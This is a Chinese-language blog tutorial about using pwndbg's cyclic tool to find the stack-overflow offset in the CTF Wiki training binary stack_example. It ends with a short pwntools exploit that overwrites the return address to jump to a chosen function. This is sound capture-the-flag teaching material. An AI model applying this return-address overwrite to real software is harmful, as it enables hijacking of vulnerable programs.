快速计算栈溢出长度

  • Author:ZERO-A-ONE
  • Date:2021-11-27

之前看到网上很多在编写栈溢出的时候计算栈溢出长度的文章,很多工具或者方法放到现在以及没有办法使用了,我经常使用的工具是pwndbg里面调用pwntools的cyclic工具

我们以CTF Wiki里面的示例程序stack-example为例子

首先用IDA找到溢出函数gets的下一个地址为0x804849f,打断点

b *0x804849f

然后使用cyclic工具生成测试字符串

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

然后运行将测试字符串输入其中,然后一直按n运行至崩溃处,发现GDB报错

Invalid address 0x61616167

观察EIP的值为

*EIP  0x61616167 ('gaaa')

然后使用工具即可计算出栈溢出的长度

pwndbg> cyclic -l 'gaaa'
24

然后可以编写EXP:

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x08048456
## 构造payload
payload = b'a' * 24 + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值